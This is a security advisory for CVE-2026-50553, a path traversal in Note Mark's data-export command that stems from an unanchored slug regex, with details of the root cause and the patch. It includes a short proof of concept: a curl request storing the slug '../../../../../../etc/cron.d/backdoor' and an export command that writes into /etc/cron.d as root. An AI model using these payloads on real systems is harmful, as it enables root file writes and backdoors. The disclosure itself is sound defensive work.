highCVE-2026-50553Jul 9, 2026

CVE-2026-50553: Note Mark Path Traversal via Unsanitized Book/Note Slug in Migrate Export

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any authenticated Note Mark user can store a directory-traversal string as a book or note slug, and when an admin runs the data-export command that slug is joined into a filesystem path without…

Packagegithub.com/enchant97/note-mark/backend
Ecosystemgo
Affected< 0.0.0-20260601210719-67b7de04308a
Fixed in0.0.0-20260601210719-67b7de04308a

The problem

Note Mark validates book and note slugs with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles and tests this pattern with regexp.MustCompile / MatchString, which performs an UNANCHORED substring match. A slug like ../../../../../../etc/cron.d/x passes because the string contains the substring etc, which satisfies [a-z0-9-]+.

The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join book.Slug and note.Slug raw into the output path via path.Join, then call os.MkdirAll and os.Create. Because path.Join resolves ../ segments, the note file _index.md is written outside the configured export directory.

These exports commonly run as root in Docker or bare-metal setups, making this an arbitrary directory-create plus arbitrary file-write as root, which can be escalated to code execution by targeting cron or systemd unit directories.

Proof of concept

A working proof-of-concept for CVE-2026-50553 in github.com/enchant97/note-mark/backend, with the exact payload below.

bash
# Step 1: create a book with a traversing slug (passes the unanchored [a-z0-9-]+ pattern)
curl -s -X POST http://localhost:8080/api/books \
  -H 'Content-Type: application/json' \
  -b "Auth-Session-Token=$TOKEN" \
  -d '{"name":"x","slug":"../../../../../../etc/cron.d/backdoor"}'
# Response echoes slug verbatim (HTTP 200/201) — slug is now stored in the DB.

# Step 2: admin triggers a routine export (commonly as root in Docker)
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# path.Join("/data/backup", username, "../../../../../../etc/cron.d/backdoor")
# resolves to /etc/cron.d/backdoor — os.MkdirAll creates it,
# os.Create writes _index.md (attacker note content) there.

The root cause is a missing regex anchor. huma calls patternRe.MatchString(str), not regexp.MatchString("^[a-z0-9-]+$", str). A traversal slug like ../../../../../../etc/cron.d/backdoor always contains at least one [a-z0-9-] substring, so it always passes (CWE-20 at the input layer).

The export sink (backend/cli/migrate.go) uses path.Join(exportDir, user.Username, book.Slug) and path.Join(bookDir, note.Slug) with no further sanitization. Go's path.Join resolves ../ eagerly, so the joined path escapes exportDir entirely (CWE-22).

The sibling asset.Name field was already patched with filepath.Base() in GHSA-g49p-4qxj-88v3, but book.Slug and note.Slug in the exact same path.Join calls were left raw.

The fix anchors the slug pattern to ^[a-z0-9-]+$ at the DTO/input layer (so traversal strings are rejected before touching the DB) and adds defense-in-depth filepath.Base() checks in both export functions, skipping any slug whose Base() differs from its raw value.

The fix

Update to commit 67b7de04308a858ef27ceff87b514067b6d667e5 (pseudo-version 0.0.0-20260601210719-67b7de04308a) or any tagged release that includes it. The patch anchors the huma pattern tags to pattern:"^[a-z0-9-]+$" (and ^[a-zA-Z0-9]+$ for usernames) so traversal slugs are rejected at the API boundary, and adds filepath.Base() guard checks to both commandMigrateExportData and commandMigrateExportDataV1 in backend/cli/migrate.go as defense in depth.

Reported by tonghuaroot.

References: [1][2][3]

Related research